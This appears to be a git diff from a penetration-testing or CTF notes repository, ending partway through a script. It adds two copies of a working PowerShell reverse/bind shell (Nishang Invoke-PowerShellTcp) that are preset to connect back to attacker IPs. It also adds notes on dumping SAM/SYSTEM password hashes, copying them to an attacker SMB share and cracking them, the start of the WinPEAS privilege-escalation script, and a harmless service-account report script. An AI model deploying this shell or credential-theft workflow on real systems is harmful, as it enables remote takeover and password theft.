Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
|
||||
listening on the given IP and port.
|
||||
|
||||
.LINK
|
||||
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
|
||||
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
|
||||
https://github.com/samratashok/nishang
|
||||
#>
|
||||
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
|
||||
|
||||
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
|
||||
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
|
||||
[String]
|
||||
$IPAddress,
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
|
||||
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
|
||||
[Int]
|
||||
$Port,
|
||||
|
||||
[Parameter(ParameterSetName="reverse")]
|
||||
[Switch]
|
||||
$Reverse,
|
||||
|
||||
[Parameter(ParameterSetName="bind")]
|
||||
[Switch]
|
||||
$Bind
|
||||
|
||||
)
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
#Connect back if the reverse switch is used.
|
||||
if ($Reverse)
|
||||
{
|
||||
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
|
||||
}
|
||||
|
||||
#Bind to the provided port if Bind switch is used.
|
||||
if ($Bind)
|
||||
{
|
||||
$listener = [System.Net.Sockets.TcpListener]$Port
|
||||
$listener.start()
|
||||
$client = $listener.AcceptTcpClient()
|
||||
}
|
||||
|
||||
$stream = $client.GetStream()
|
||||
[byte[]]$bytes = 0..65535|%{0}
|
||||
|
||||
#Send back current username and computername
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
#Show an interactive PowerShell prompt
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||
{
|
||||
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
||||
$data = $EncodedText.GetString($bytes,0, $i)
|
||||
try
|
||||
{
|
||||
#Execute the command on the target.
|
||||
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "Something went wrong with execution of command on the target."
|
||||
Write-Error $_
|
||||
}
|
||||
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
|
||||
$x = ($error[0] | Out-String)
|
||||
$error.clear()
|
||||
$sendback2 = $sendback2 + $x
|
||||
|
||||
#Return the results
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
||||
$stream.Write($sendbyte,0,$sendbyte.Length)
|
||||
$stream.Flush()
|
||||
}
|
||||
$client.Close()
|
||||
if ($listener)
|
||||
{
|
||||
$listener.Stop()
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
|
||||
Write-Error $_
|
||||
}
|
||||
}
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443
|
|
@ -0,0 +1,127 @@
|
|||
function Invoke-PowerShellTcp
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
|
||||
|
||||
.DESCRIPTION
|
||||
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
|
||||
Also, a standard netcat can connect to this script Bind to a specific port.
|
||||
|
||||
The script is derived from Powerfun written by Ben Turner & Dave Hardy
|
||||
|
||||
.PARAMETER IPAddress
|
||||
The IP address to connect to when using the -Reverse switch.
|
||||
|
||||
.PARAMETER Port
|
||||
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
|
||||
|
||||
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
|
||||
the given IP and port.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Invoke-PowerShellTcp -Bind -Port 80
|
||||
|
||||
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
|
||||
|
||||
.EXAMPLE
|
||||
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
|
||||
|
||||
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
|
||||
listening on the given IP and port.
|
||||
|
||||
.LINK
|
||||
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
|
||||
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
|
||||
https://github.com/samratashok/nishang
|
||||
#>
|
||||
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
|
||||
|
||||
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
|
||||
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
|
||||
[String]
|
||||
$IPAddress,
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
|
||||
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
|
||||
[Int]
|
||||
$Port,
|
||||
|
||||
[Parameter(ParameterSetName="reverse")]
|
||||
[Switch]
|
||||
$Reverse,
|
||||
|
||||
[Parameter(ParameterSetName="bind")]
|
||||
[Switch]
|
||||
$Bind
|
||||
|
||||
)
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
#Connect back if the reverse switch is used.
|
||||
if ($Reverse)
|
||||
{
|
||||
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
|
||||
}
|
||||
|
||||
#Bind to the provided port if Bind switch is used.
|
||||
if ($Bind)
|
||||
{
|
||||
$listener = [System.Net.Sockets.TcpListener]$Port
|
||||
$listener.start()
|
||||
$client = $listener.AcceptTcpClient()
|
||||
}
|
||||
|
||||
$stream = $client.GetStream()
|
||||
[byte[]]$bytes = 0..65535|%{0}
|
||||
|
||||
#Send back current username and computername
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
#Show an interactive PowerShell prompt
|
||||
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
|
||||
$stream.Write($sendbytes,0,$sendbytes.Length)
|
||||
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
|
||||
{
|
||||
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
|
||||
$data = $EncodedText.GetString($bytes,0, $i)
|
||||
try
|
||||
{
|
||||
#Execute the command on the target.
|
||||
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "Something went wrong with execution of command on the target."
|
||||
Write-Error $_
|
||||
}
|
||||
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
|
||||
$x = ($error[0] | Out-String)
|
||||
$error.clear()
|
||||
$sendback2 = $sendback2 + $x
|
||||
|
||||
#Return the results
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
|
||||
$stream.Write($sendbyte,0,$sendbyte.Length)
|
||||
$stream.Flush()
|
||||
}
|
||||
$client.Close()
|
||||
if ($listener)
|
||||
{
|
||||
$listener.Stop()
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
|
||||
Write-Error $_
|
||||
}
|
||||
}
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.19 -Port 9876
|
Binary file not shown.
|
@ -0,0 +1,134 @@
|
|||
<#
|
||||
Service account report scrip that reads service configuration from
|
||||
all Windows servers in the current domain and generate a report listing all
|
||||
domain accounts used as service logon account.
|
||||
|
||||
By Andrea Fortuna (andrea@andreafortuna.org)
|
||||
|
||||
*** Based on "report-service-accounts.ps1" by Gleb Yourchenko (fnugry@null.net) ***
|
||||
#>
|
||||
|
||||
$reportFile = ".\report.html"
|
||||
$maxThreads = 10
|
||||
$currentDomain = $env:USERDOMAIN.ToUpper()
|
||||
$serviceAccounts = @{}
|
||||
[string[]]$warnings = @()
|
||||
|
||||
|
||||
$readServiceAccounts = {
|
||||
|
||||
# Retrieve service list form a remote machine
|
||||
|
||||
param( $hostname )
|
||||
if ( Test-Connection -ComputerName $hostname -Count 3 -Quiet ){
|
||||
try {
|
||||
$serviceList = @( gwmi -Class Win32_Service -ComputerName $hostname -Property Name,StartName,SystemName -ErrorAction Stop )
|
||||
$serviceList
|
||||
}
|
||||
catch{
|
||||
"Failed to retrieve data from $hostname : $($_.toString())"
|
||||
}
|
||||
}
|
||||
else{
|
||||
"$hostname is unreachable"
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
function processCompletedJobs(){
|
||||
# reads service list from completed jobs,updates $serviceAccount table and removes completed job
|
||||
|
||||
$jobs = Get-Job -State Completed
|
||||
foreach( $job in $jobs ) {
|
||||
|
||||
$data = Receive-Job $job
|
||||
Remove-Job $job
|
||||
|
||||
if ( $data.GetType() -eq [Object[]] ){
|
||||
$serviceList = $data | ? { $_.StartName.toUpper().StartsWith( $currentDomain )}
|
||||
foreach( $service in $serviceList ){
|
||||
$account = $service.StartName
|
||||
$occurance = "`"$($service.Name)`" service on $($service.SystemName)"
|
||||
if ( $script:serviceAccounts.Contains( $account ) ){
|
||||
$script:serviceAccounts.Item($account) += $occurance
|
||||
}
|
||||
else {
|
||||
$script:serviceAccounts.Add( $account, @( $occurance ) )
|
||||
}
|
||||
}
|
||||
}
|
||||
elseif ( $data.GetType() -eq [String] ) {
|
||||
$script:warnings += $data
|
||||
Write-warning $data
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
################# MAIN #########################
|
||||
|
||||
|
||||
Import-Module ActiveDirectory
|
||||
|
||||
|
||||
# read computer accounts from current domain
|
||||
Write-Progress -Activity "Retrieving server list from domain" -Status "Processing..." -PercentComplete 0
|
||||
$serverList = Get-ADComputer -Filter {OperatingSystem -like "Windows Server*"} -Properties DNSHostName, cn | ? { $_.enabled }
|
||||
|
||||
|
||||
# start data retrieval job for each server in the list
|
||||
# use up to $maxThreads threads
|
||||
$count_servers = 0
|
||||
foreach( $server in $serverList ){
|
||||
Start-Job -ScriptBlock $readServiceAccounts -Name "read_$($server.cn)" -ArgumentList $server.dnshostname | Out-Null
|
||||
++$count_servers
|
||||
Write-Progress -Activity "Retrieving data from servers" -Status "Processing..." -PercentComplete ( $count_servers * 100 / $serverList.Count )
|
||||
while ( ( Get-Job -State Running).count -ge $maxThreads ) { Start-Sleep -Seconds 3 }
|
||||
processCompletedJobs
|
||||
}
|
||||
|
||||
# process remaining jobs
|
||||
Write-Progress -Activity "Retrieving data from servers" -Status "Waiting for background jobs to complete..." -PercentComplete 100
|
||||
Wait-Job -State Running -Timeout 30 | Out-Null
|
||||
Get-Job -State Running | Stop-Job
|
||||
processCompletedJobs
|
||||
|
||||
|
||||
# prepare data table for report
|
||||
Write-Progress -Activity "Generating report" -Status "Please wait..." -PercentComplete 0
|
||||
$accountTable = @()
|
||||
foreach( $serviceAccount in $serviceAccounts.Keys ) {
|
||||
foreach( $occurance in $serviceAccounts.item($serviceAccount) ){
|
||||
$row = new-object psobject
|
||||
Add-Member -InputObject $row -MemberType NoteProperty -Name "Account" -Value $serviceAccount
|
||||
Add-Member -InputObject $row -MemberType NoteProperty -Name "Usage" -Value $occurance
|
||||
$accountTable += $row
|
||||
}
|
||||
}
|
||||
|
||||
# create report
|
||||
$report = "
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;white-space:nowrap;}
|
||||
TH{border-width: 1px;padding: 4px;border-style: solid;border-color: black}
|
||||
TD{border-width: 1px;padding: 2px 10px;border-style: solid;border-color: black}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<H1>Service account report for $currentDomain domain</H1>
|
||||
$($serverList.count) servers processed. Discovered $($serviceAccounts.count) service accounts.
|
||||
<H2>Discovered service accounts</H2>
|
||||
$( $accountTable | Sort Account | ConvertTo-Html Account, Usage -Fragment )
|
||||
<H2>Warning messages</H2>
|
||||
$( $warnings | % { "<p>$_</p>" } )
|
||||
</body>
|
||||
</html>"
|
||||
|
||||
Write-Progress -Activity "Generating report" -Status "Please wait..." -Completed
|
||||
$report | Set-Content $reportFile -Force
|
||||
Invoke-Expression $reportFile
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
# Powershell
|
||||
|
||||
## HashDump
|
||||
```sh
|
||||
save HKLM\SAM C:\Users\Administrator\Desktop\SAM
|
||||
save HKLM\SAM C:\Users\Administrator\Desktop\System
|
||||
```
|
||||
* Use `samdump2`
|
||||
|
||||
## Extract Hashes
|
||||
* Extract via smb server on attacker
|
||||
```
|
||||
copy C:\Windows\Repair\SAM \\<attacker-IP>\dir\
|
||||
copy C:\Windows\Repair\SYSTEM \\<attacker-IP>\dir\
|
||||
```
|
||||
* Crack via [creddump7](git clone https://github.com/Tib3rius/creddump7)
|
||||
```
|
||||
python pwdump.py SYSTEM SAM
|
||||
```
|
||||
or
|
||||
```
|
||||
hashcat -m 1000 --force <hash> /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,654 @@
|
|||
@ECHO OFF & SETLOCAL EnableDelayedExpansion
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
COLOR 0F
|
||||
CALL :SetOnce
|
||||
|
||||
REM :: WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
REM :: Code by carlospolop; Re-Write by ThisLimn0
|
||||
|
||||
REM Registry scan of other drives besides
|
||||
REM /////true or false
|
||||
SET long=false
|
||||
|
||||
:Splash
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%32m((,.,/((((((((((((((((((((/, */%E%97m"
|
||||
CALL :ColorLine " %E%32m,/*,..*(((((((((((((((((((((((((((((((((,%E%97m"
|
||||
CALL :ColorLine " %E%32m,*/((((((((((((((((((/, %E%92m.*//((//**,%E%32m .*((((((*%E%97m"
|
||||
CALL :ColorLine " %E%32m((((((((((((((((* %E%94m*****%E%32m,,,/########## %E%32m.(* ,((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((((/* %E%94m******************%E%32m/####### %E%32m.(. ((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m((((((.%E%92m.%E%94m******************%E%97m/@@@@@/%E%94m***%E%92m/######%E%32m /((((((%E%97m"
|
||||
CALL :ColorLine " %E%32m,,.%E%92m.%E%94m**********************%E%97m@@@@@@@@@@(%E%94m***%E%92m,####%E%32m ../(((((%E%97m"
|
||||
CALL :ColorLine " %E%32m, ,%E%92m%E%94m**********************%E%97m#@@@@@#@@@@%E%94m*********%E%92m##%E%32m((/ /((((%E%97m"
|
||||
CALL :ColorLine " %E%32m..((%E%92m(##########%E%94m*********%E%97m/#@@@@@@@@@/%E%94m*************%E%32m,,..((((%E%97m"
|
||||
CALL :ColorLine " %E%32m.((%E%92m(################(/%E%94m******%E%97m/@@@@@#%E%94m****************%E%32m.. /((%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(########################(/%E%94m************************%E%32m..*(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(#############################(/%E%94m********************%E%32m.,(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(##################################(/%E%94m***************%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######################################(%E%94m************%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######(,.***.,(###################(..***(/%E%94m*********%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(######*(#####((##################((######/(%E%94m********%E%32m..(%E%97m"
|
||||
CALL :ColorLine " %E%32m.(%E%92m(##################(/**********(################(%E%94m**%E%32m...(%E%97m"
|
||||
CALL :ColorLine " %E%32m.((%E%92m(####################/*******(###################%E%32m.((((%E%97m"
|
||||
CALL :ColorLine " %E%32m.((((%E%92m(############################################/%E%32m /((%E%97m"
|
||||
CALL :ColorLine " %E%32m..((((%E%92m(#########################################(%E%32m..(((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m....((((%E%92m(#####################################(%E%32m .((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m......((((%E%92m(#################################(%E%32m .(((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((. ,%E%92m(############################(%E%32m../(((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((/, %E%92m,####################(%E%32m/..((((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((/,. %E%92m,*//////*,.%E%32m ./(((((((((((.%E%97m"
|
||||
CALL :ColorLine " %E%32m(((((((((((((((((((((((((((/%E%97m"
|
||||
ECHO. by carlospolop
|
||||
ECHO.
|
||||
ECHO.
|
||||
|
||||
:Advisory
|
||||
REM // Increase progress in title by n percent
|
||||
CALL :T_Progress 0
|
||||
ECHO./^^!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
|
||||
CALL :ColorLine " %E%41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.%E%40;97m"
|
||||
CALL :ColorLine " %E%41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.%E%40;97m"
|
||||
CALL :ColorLine " %E%41mUse it at your own networks and/or with the network owner's permission.%E%40;97m"
|
||||
ECHO.
|
||||
|
||||
:SystemInfo
|
||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||
systeminfo
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ListHotFixes
|
||||
wmic qfe get Caption,Description,HotFixID,InstalledOn | more
|
||||
set expl=no
|
||||
for /f "tokens=3-9" %%a in ('systeminfo') do (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (ECHO."%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes)
|
||||
IF "%expl%" == "yes" ECHO. [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei)
|
||||
IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL
|
||||
IF "%expl%" == "yes" IF errorlevel 1 ECHO.MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:DateAndTime
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DATE and TIME"
|
||||
ECHO. [i] You may need to adjust your local date/time to exploit some vulnerability
|
||||
date /T
|
||||
time /T
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:AuditSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Audit Settings"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:WEFSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WEF Settings"
|
||||
ECHO. [i] Check where are being sent the logs
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LAPSInstallCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LAPS installed?"
|
||||
ECHO. [i] Check what is being logged
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSAProtectionCheck
|
||||
CALL :ColorLine " %E%33m[+]%E%97m LSA protection?"
|
||||
ECHO. [i] Active if "1"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LSACredentialGuard
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Credential Guard?"
|
||||
ECHO. [i] Active if "1" or "2"
|
||||
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v LsaCfgFlags 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:LogonCredentialsPlainInMemory
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WDigest?"
|
||||
ECHO. [i] Plain-text creds in memory if "1"
|
||||
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:CachedCreds
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Number of cached creds"
|
||||
ECHO. [i] You need System-rights to extract them
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CACHEDLOGONSCOUNT 2>nul
|
||||
CALL :T_Progress 1
|
||||
|
||||
:UACSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
|
||||
:AVSettings
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Registered Anti-Virus(AV)"
|
||||
